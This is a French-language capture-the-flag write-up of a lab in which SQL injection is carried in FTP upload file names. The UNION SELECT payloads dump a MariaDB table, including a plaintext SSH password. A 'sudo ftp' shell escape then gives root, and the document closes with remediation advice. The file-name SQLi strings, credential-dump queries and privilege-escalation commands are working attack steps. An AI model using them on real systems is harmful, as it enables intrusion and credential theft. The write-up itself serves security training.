Lab Filename : SQLi par Nom de Fichier FTP, Dump de Credentials et ftp Shell Escape
Exploitation d'un serveur de fichiers public : injection SQL via le nom d'un fichier déposé en FTP, énumération complète de la base MariaDB par UNION SELECT, récupération des credentials SSH de reno dans une table secret, et élévation de privilèges root via un shell escape dans ftp (GTFOBins).
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | CreedCTF |
| Lien | Accéder au lab |
| Cible | 192.168.203.28 |
| OS | Debian 13 (Trixie) — Linux |
| Vuln. clés | SQL Injection via nom de fichier, ftp sudo NOPASSWD |
| Base de données | MariaDB 11.8.6 |
| Difficulté | Facile |
Scénario : Un serveur de fichiers public indexe automatiquement chaque fichier déposé dans une base de données : nom, taille, date et hash SHA-1. Si le nom du fichier n'est pas sanitisé avant son insertion en SQL, déposer un fichier avec un nom malveillant est suffisant pour injecter des requêtes arbitraires.
Flags :
| # | Emplacement | Technique |
|---|---|---|
| 1 | Fichier .flag dans /ftp | ls -la sur le FTP |
| 2 | Table secret en base | SQLi UNION SELECT |
| 3 | /home/reno/ | SSH avec credentials dumpés |
| 4 | /root/ | ftp sudo NOPASSWD shell escape |
Kill chain :
FTP anonyme → ls -la → Flag 1 (fichier caché)
│ README.md → mécanisme d'indexation SQLite
▼
Upload test.txt → indexé dans output.txt (comportement confirmé)
│
▼
Upload "test2'.txt" → erreur SQL dans output.txt → SQLi confirmée
│
▼
UNION SELECT 1,2,3 → 3 colonnes confirmées
UNION SELECT database(),version(),user() → fileserver, MariaDB, dbftp
UNION SELECT tables → ftp, secret
UNION SELECT colonnes(secret) → id, flag, username, password
UNION SELECT données(secret) → Flag 2 + reno:password
│
▼
SSH reno → Flag 3 dans /home/reno/
│
▼
sudo -l → ftp NOPASSWD → shell escape → root → Flag 4
1. Reconnaissance
rustscan -b 500 -a 192.168.203.28 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 62 vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 101 104 4096 Jun 23 19:04 ftp [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.65.37
| Logged in as ftp
| vsFTPd 3.0.5 - secure, fast, stable
22/tcp open ssh syn-ack ttl 62 OpenSSH 10.0p2 Debian 7+deb13u4
Service Info: OSs: Unix, Linux
Analyse :
Deux services ouverts. SSH (22) sans credentials n'est pas notre vecteur immédiat. Le FTP (21) est bien plus intéressant : deux informations critiques dans le scan.
Anonymous FTP login allowed : connexion sans authentification.
drwxrwxrwx [NSE: writeable] : le répertoire /ftp est accessible en lecture et en écriture pour tout le monde. On peut y déposer des fichiers.
TTL de 62, machine Linux.
2. Investigation FTP
Connexion et Listing Complet
lftp 192.168.203.28
lftp 192.168.203.28:~> ls -la
drwxrwxrwx 2 0 0 4096 Jul 6 12:43 .
drwxr-xr-x 3 0 0 4096 Jun 23 19:00 ..
-rw-r--r-- 1 0 0 28 Jun 23 19:04 .flag1
drwxrwxrwx 2 101 104 4096 Jun 23 19:04 ftp
lftp 192.168.203.28:~> cd ftp
lftp 192.168.203.28:/ftp> ls
-rw-r--r-- 1 1000 1000 175 Jun 23 18:58 id_ecdsa.pub
-rw-r--r-- 1 101 104 1247 Jun 23 19:00 banner.txt
-rw-r--r-- 1 101 104 2891 Jun 23 19:00 README.md
-rw-r--r-- 1 101 104 412 Jul 6 12:43 output.txt
[!NOTE] Le
lssimple ne montre pas les fichiers cachés (ceux dont le nom commence par.). Lels -laest indispensable pour les révéler. Le fichier.flag1était invisible au premier listing.
Flag 1
lftp 192.168.203.28:/ftp> cat .flag1

Flag 1 récupéré directement sur le FTP.
Fichier id_ecdsa.pub
lftp 192.168.203.28:/ftp> cat id_ecdsa.pub
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIG7io3gyKUFpMo6
rQe+/oMbXr77FGjD6P6zeRV+yp1qXoC6wMDBxYDRIcxWVvvoMEjwhJyhePevQBcVh1IuX5o= reno@filename
Une clé publique ECDSA appartenant à l'utilisateur reno sur une machine appelée filename. Le username reno est notre première piste vers SSH. On le note pour plus tard.
banner.txt
lftp 192.168.203.28:/ftp> cat banner.txt
╔══════════════════════════════════════════════════════════════════════╗
║ ║
║ S E R V E U R D E F I C H I E R S ║
║ · P U B L I C · ║
║ ║
╠══════════════════════════════════════════════════════════════════════╣
║ ║
║ Bienvenue sur le serveur de fichiers public FILESERVER. ║
║ ║
║ > Accès anonyme autorisé (login : anonymous) ║
║ > Dépôt de fichiers possible dans le dossier /ftp ║
║ > Lecture libre de tous les fichiers partagés ║
║ ║
╚══════════════════════════════════════════════════════════════════════╝
README.md (extrait pertinent)
lftp 192.168.203.28:/ftp> cat README.md
Les fichiers présents sur le serveur sont indexés automatiquement à
intervalle régulier. Pour chaque fichier sont enregistrés :
- son nom,
- sa date de dernière modification,
- sa taille,
- son empreinte SHA-1.
Un récapitulatif lisible est généré dans le fichier output.txt, que
vous pouvez consulter à tout moment.
Analyse :
Le mécanisme est maintenant clair. Un processus automatisé en arrière-plan surveille le répertoire /ftp, lit les métadonnées de chaque fichier et les insère en base de données. La requête SQL ressemble probablement à quelque chose de ce genre :
INSERT INTO ftp (filename, filesize, checksum)
VALUES ('[NOM DU FICHIER]', [TAILLE], '[SHA-1]');
ou lors d'une consultation :
SELECT filename, filesize, checksum FROM ftp WHERE filename = '[NOM DU FICHIER]';
Si le nom du fichier est inséré directement dans la requête sans échappement, il suffit de déposer un fichier dont le nom contient du SQL pour injecter des commandes arbitraires.
C'est l'hypothèse qu'on va tester.
3. SQL Injection via Nom de Fichier
Étape 1 : Confirmation du Comportement Normal
On commence par vérifier que le mécanisme d'indexation fonctionne comme décrit.
echo "test" > test.txt
On se reconnecte au FTP et on uploade le fichier :
lftp 192.168.203.28:/ftp> put test.txt

On attend quelques secondes et on consulte output.txt :
lftp 192.168.203.28:/ftp> cat output.txt

[test.txt]
filename : test.txt
filesize : 5
checksum : 4e1243bd22c66e76c2ba9eddc1f91394e57f9f83
Le fichier est bien indexé. Le comportement est conforme au README. On passe à la phase de test d'injection.
Étape 2 : Test avec une Apostrophe
En SQL, une apostrophe simple ' est le délimiteur des chaînes de caractères. Si le nom du fichier est inséré directement dans une requête sans être échappé, une apostrophe dans le nom va casser la syntaxe SQL et provoquer une erreur.
touch "test2'.txt"
echo "test" > "test2'.txt"
On uploade via FTP et on consulte output.txt :
lftp 192.168.203.28:/ftp> put "test2'.txt"
lftp 192.168.203.28:/ftp> cat output.txt

[test2'.txt]
--------------
SELECT filename, filesize, checksum FROM ftp WHERE filename = 'test2'.txt';
--------------
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version
for the right syntax to use near '.txt'' at line 1
L'erreur est extrêmement informative. Elle révèle :
- Le moteur de base de données : MariaDB
- La requête SQL exacte construite par le serveur
- La confirmation que le nom du fichier est inséré directement sans échappement
Décomposition de la requête cassée :
SELECT filename, filesize, checksum FROM ftp WHERE filename = 'test2'.txt';
───────┬──────
│
L'apostrophe dans "test2'" ferme la chaîne trop tôt.
Le reste ".txt'" devient du SQL invalide → erreur.
SQLi via nom de fichier confirmée. On connaît maintenant la structure exacte de la requête : 3 colonnes (filename, filesize, checksum), une clause WHERE sur le nom de fichier.
Comprendre l'Injection UNION SELECT
Pour extraire des données arbitraires, on utilise une UNION SELECT. Cette technique permet d'ajouter un second SELECT à la requête originale, dont les résultats seront affichés à la suite des résultats normaux.
Règle fondamentale des UNION SELECT : les deux requêtes doivent avoir le même nombre de colonnes et des types compatibles.
La requête originale a 3 colonnes : filename, filesize, checksum. Notre injection doit aussi retourner 3 valeurs.
Structure du payload :
x' UNION SELECT [valeur1],[valeur2],[valeur3]-- -.txt
| Élément | Rôle |
|---|---|
x' | Ferme prématurément la chaîne. Le x est un nom de fichier fictif qui ne matchera rien → la requête originale retourne 0 lignes, seule notre injection s'affiche |
UNION SELECT | Enchaîne une seconde requête dont les résultats s'ajoutent aux premiers |
[valeur1],[valeur2],[valeur3] | Les 3 valeurs à retourner, une par colonne |
-- - | Commentaire SQL qui neutralise le reste de la requête originale (le '.txt' restant) |
.txt | Extension nécessaire pour que le fichier soit accepté par le serveur |
Étape 3 : Confirmation des 3 Colonnes
touch "x' UNION SELECT 1,2,3-- -.txt"
On uploade et on consulte output.txt :
──────────────────────────────────────────────────────────────────────
RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────
1 2 3
La requête retourne bien 3 valeurs 1, 2, 3. Les 3 colonnes sont confirmées. Chaque position correspond à une colonne où on peut injecter une expression SQL.
Étape 4 : Énumération de la Base de Données
Maintenant qu'on contrôle les 3 positions, on injecte des fonctions SQL d'information système.
Fonctions utilisées :
| Fonction | Retourne |
|---|---|
database() | Nom de la base de données courante |
version() | Version complète du serveur MariaDB |
user() | Utilisateur SQL connecté au format user@host |
touch "x' UNION SELECT database(),version(),user()-- -.txt"
──────────────────────────────────────────────────────────────────────
RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────
fileserver 11.8.6-MariaDB-0+deb13u1 from Debian dbftp@localhost
Informations obtenues :
- Base courante :
fileserver - Version : MariaDB 11.8.6 sur Debian
- Utilisateur SQL :
dbftp@localhost
Étape 5 : Lister les Tables de la Base
On interroge information_schema.tables, la table système de MariaDB qui répertorie toutes les tables de toutes les bases.
Fonctions et clauses utilisées :
| Élément | Rôle |
|---|---|
GROUP_CONCAT(table_name SEPARATOR ', ') | Concatène tous les noms de tables en une seule chaîne séparée par des virgules, pour les faire tenir dans une seule colonne |
FROM information_schema.tables | Source : la table système qui liste toutes les tables |
WHERE table_schema=database() | Filtre : uniquement les tables de la base courante (fileserver) |
touch "x' UNION SELECT GROUP_CONCAT(table_name SEPARATOR ', '),2,3 FROM information_schema.tables WHERE table_schema=database()-- -.txt"
──────────────────────────────────────────────────────────────────────
RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────
ftp, secret 2 3
Deux tables dans la base fileserver : ftp (connue) et secret (nouvelle et intéressante).
Étape 6 : Lister les Colonnes de la Table secret
On interroge information_schema.columns, qui répertorie toutes les colonnes de toutes les tables.
Paramètre clé :
| Élément | Rôle |
|---|---|
GROUP_CONCAT(column_name SEPARATOR ', ') | Concatène les noms de colonnes en une chaîne |
FROM information_schema.columns | Source : la table système des colonnes |
WHERE table_name='secret' | Filtre : uniquement les colonnes de la table secret |
touch "x' UNION SELECT GROUP_CONCAT(column_name SEPARATOR ', '),2,3 FROM information_schema.columns WHERE table_name='secret'-- -.txt"
──────────────────────────────────────────────────────────────────────
RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────
id, flag, username, password 2 3
La table secret contient 4 colonnes : id, flag, username, password.
Étape 7 : Extraire les Données de secret
Problème : la requête originale a 3 colonnes, mais secret en a 4. On ne peut pas simplement faire SELECT id,flag,username,password car ça retournerait 4 colonnes et le UNION serait invalide.
Solution : CONCAT_WS (Concatenate With Separator). Cette fonction fusionne plusieurs valeurs en une seule chaîne, séparées par un délimiteur choisi.
| Élément | Rôle |
|---|---|
CONCAT_WS(' | ', id, flag, username, password) | Fusionne les 4 colonnes en une seule chaîne avec | comme séparateur |
FROM secret | Source : la table qu'on cible |
touch "x' UNION SELECT CONCAT_WS(' | ',id,flag,username,password),2,3 FROM secret-- -.txt"

──────────────────────────────────────────────────────────────────────
RÉSULTATS DE REQUÊTES
──────────────────────────────────────────────────────────────────────
1 | FLAG{...} | reno | k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@ 2 3
Deux informations critiques extraites :
- Flag 2 dans la colonne
flag - Credentials SSH :
reno:k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@
La clé publique trouvée au début (reno@filename) et le username de la table secret correspondent. On a maintenant le mot de passe.
4. SSH (22) — Connexion et Flag 3
Validation des Credentials
nxc ssh 192.168.203.28 -u 'reno' -p 'k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@'
SSH 192.168.203.28 22 [*] SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u4
SSH 192.168.203.28 22 [+] reno:k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@ Linux - Shell access!
Credentials valides. On se connecte :
sshpass -p 'k9bNECyQ5$3#TQ3YBF@!&g?95M?qoNzykJhC7oL@' ssh reno@192.168.203.28
Exploration du Home
reno@filename:~$ whoami
reno
reno@filename:~$ ls

flag3.txt
reno@filename:~$ cat flag3.txt
Flag 3 récupéré dans /home/reno/.
5. Élévation de Privilèges
Analyse des Permissions sudo
reno@filename:~$ sudo -l
Entrées Defaults correspondant pour reno sur filename :
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty
L'utilisateur reno peut utiliser les commandes suivantes sur filename :
(ALL) /usr/bin/ftp
reno peut exécuter ftp en tant que n'importe quel utilisateur (ALL), sans mot de passe (NOPASSWD implicite puisqu'il vient d'entrer le mot de passe pour sudo -l).
Comprendre le Shell Escape via ftp
Référence : GTFOBins — ftp
ftp est un client FTP interactif. Une fois lancé, il expose une commande interne ! qui permet d'exécuter des commandes shell dans le contexte du processus ftp. Si ftp a été lancé avec sudo, ce contexte est root.
Mécanisme :
sudo ftp ← ftp est lancé par root (via sudo)
│
└── ftp> !/bin/bash ← la commande ! lance un shell enfant
ce shell hérite des droits du parent : root
C'est un shell escape classique documenté par GTFOBins. Le principe s'applique à de nombreux outils interactifs qui exposent une fonctionnalité d'exécution de commandes arbitraires.
Exploitation
reno@filename:~$ sudo ftp
ftp> !/bin/bash

Flag 4
# cat /root/root.txt

Flag 4 récupéré. Challenge terminé.
6. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → FTP anonyme + SSH
2. ls -la /ftp → .flag caché découvert → Flag 1
3. id_ecdsa.pub → username reno identifié
4. README.md → mécanisme d'indexation SQL révélé
5. Upload test.txt → indexation confirmée dans output.txt
6. Upload "test2'.txt" → erreur SQL → SQLi confirmée + requête exposée
7. UNION SELECT 1,2,3 → 3 colonnes confirmées
8. UNION SELECT database(),version(),user() → fileserver, MariaDB, dbftp
9. UNION SELECT tables → ftp + secret découvertes
10. UNION SELECT colonnes(secret) → id, flag, username, password
11. UNION SELECT CONCAT_WS (secret) → Flag 2 + reno:password
12. nxc ssh → credentials valides
13. SSH reno → Flag 3 dans /home/reno/
14. sudo -l → ftp NOPASSWD
15. sudo ftp → !/bin/bash → root → Flag 4
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Fichier caché non protégé | .flag lisible anonymement sur le FTP public | Ne jamais stocker de fichiers sensibles dans un répertoire accessible en lecture anonyme |
| SQL Injection via nom de fichier | Le nom du fichier est inséré directement dans la requête SQL sans échappement | Utiliser des requêtes préparées avec des paramètres liés : INSERT INTO ftp (filename) VALUES (?). Le nom du fichier devient un paramètre, jamais du SQL |
| Credentials en base de données | La table secret contient le mot de passe SSH de reno en clair | Hacher les mots de passe avec bcrypt ou Argon2. Ne jamais stocker de mots de passe en clair, même dans des tables internes |
| Table secret accessible à dbftp | L'utilisateur SQL dbftp peut lire la table secret | Appliquer le principe de moindre privilège au niveau SQL : dbftp ne devrait avoir accès qu'à la table ftp, pas à secret. Créer des utilisateurs SQL dédiés par fonctionnalité |
| ftp sudo NOPASSWD | reno peut exécuter ftp en root, ce qui permet un shell escape trivial | Supprimer cette règle sudo. Si ftp est nécessaire, utiliser des alternatives sans fonctionnalité d'exécution de commandes, ou restreindre via sudoedit uniquement pour les opérations nécessaires |
[!NOTE] Ce lab illustre une vulnérabilité peu commune mais redoutablement efficace : l'injection SQL via le nom d'un fichier. Dans la plupart des applications, les noms de fichiers sont considérés comme des données "de confiance" et ne sont pas systématiquement validés avant leur insertion en base. Ici, c'est précisément cette hypothèse qui crée le vecteur d'attaque. Toute donnée externe, y compris les noms de fichiers, les noms d'hôtes, les User-Agents HTTP ou les adresses email, doit être traitée comme hostile avant toute opération SQL.
Writeup rédigé par Zcook
